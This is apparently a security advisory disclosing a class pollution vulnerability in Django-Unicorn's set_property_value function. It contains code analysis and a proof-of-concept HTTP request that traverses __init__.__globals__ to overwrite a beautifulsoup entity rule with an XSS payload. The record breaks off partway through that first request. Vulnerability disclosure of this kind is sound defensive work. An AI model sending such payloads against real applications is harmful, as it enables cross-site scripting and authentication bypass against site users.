Django-Unicorn Class Pollution Vulnerability, Leading to XSS, DoS and Authentication Bypass

# Summary Django-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The vulnerability arises from the core functionality `set_property_value`, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status. At least five ways of vulnerability exploitation have been found, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application. # Analysis of Vulnerable Function By taking a look at the vulnerable function `set_property_value` located at: `django_unicorn/views/action_parsers/utils.py`. You can observe the functionality is responsible for modifying a property value of an object. The property is specified by a dotted form of path at the second parameter `property_name`, where nested reference to object is supported, and base object and the assigned value is given by the first parameter `component` and third parameter `property_value`. ```python # https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/utils.py#L10 def set_property_value( component, property_name, property_value ) -> None: ... property_name_parts = property_name.split(".") component_or_field = component ... for idx, property_name_part in enumerate(property_name_parts): if hasattr(component_or_field, property_name_part): if idx == len(property_name_parts) - 1: ... setattr(component_or_field, property_name_part, property_value) ... else: component_or_field = getattr(component_or_field, property_name_part) ... elif isinstance(component_or_field, dict): if idx == len(property_name_parts) - 1: component_or_field[property_name_part] = property_value ... else: component_or_field = component_or_field[property_name_part] ... elif isinstance(component_or_field, (QuerySet, list)): property_name_part_int = int(property_name_part) if idx == len(property_name_parts) - 1: component_or_field[property_name_part_int] = property_value # type: ignore[index] ... else: component_or_field = component_or_field[property_name_part_int] # type: ignore[index] ... else: break ``` Meanwhile, this functionality can be directly triggered by a component request, one of the core functionalities of the project, by specifying the request type as `syncInput` and payload object would be fed in the dotted-path (2nd) parameter and assigned value (3rd) parameter of the vulnerable function. ```json POST /unicorn/message/COMPONENT_NAME { "id": 123, "actionQueue":[ { "type": "syncInput", "payload": { "name": "DOTTED_PATH", "value":"ASSIGNED_VALUE" } } ], "data": {XXX}, "epoch": "123", "checksum": "XXXX" } ``` You are now aware of that users from the remote can fully control the `property_name` and `property_value` of the vulnerable function. By default the preperty value overwrite can only be performed on the component object, which is always the first parameter of the function. However, the functionality failed to count in the situation where bad actors can modify the normal path to traverse to other objects in the python runtime, by leveraging the **magic attributes**. For example, if the `property_name` was set to `__init__.__globals__`, the component context would change to global context of the component module, which means you can modify any attributes of the objects that are located in the global scope of the component module. These objects also include other modules that have been imported in the component module, which comprises of a pollutable dependency chain. With all these techniques introduced, you can now change any global objects including, global variables/instances/classes/functions of any module that is in a chain of dependency from the component module. The next section introduces the five exploitation gadgets found so far, leading to reflected XSS, stored XSS, authentication bypass and DOS attack. It uses a locally deployed `django-unicorn.com` as demo website to showcase its large-scale impact. > Here, gadgets refer to the dependency code snippets by default introduced by django-unicorn and changing its status can result in an attack sequence, such as XSS. # Proof of Concept ## #1 Reflected Cross-Site Scripting by Overwriting bs4 HTML sanitizer Django-Unicorn implants the `EntitySubstitution` rule from beautifulsoup4 library into its [HTML formatter](https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/components/unicorn_template_response.py#L125), formatting all the template response messages.  While [this rule](https://github.com/akalongman/python-beautifulsoup/blob/master/bs4/dammit.py#L79) is specified in a global dictionary, you can exploit the class pollution vulnerability to overwrite it. ```http POST /unicorn/message/todo HTTP/1.1 { "id": 123, "actionQueue": [ { "type": "syncInput", "payload": { "name": "__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.<", "value": "<img/src=1 onerror=alert('bs4_html_entity_bypass')>" } } ], "data": { "task": "", "tasks": [] }, "epoch": "123", "che…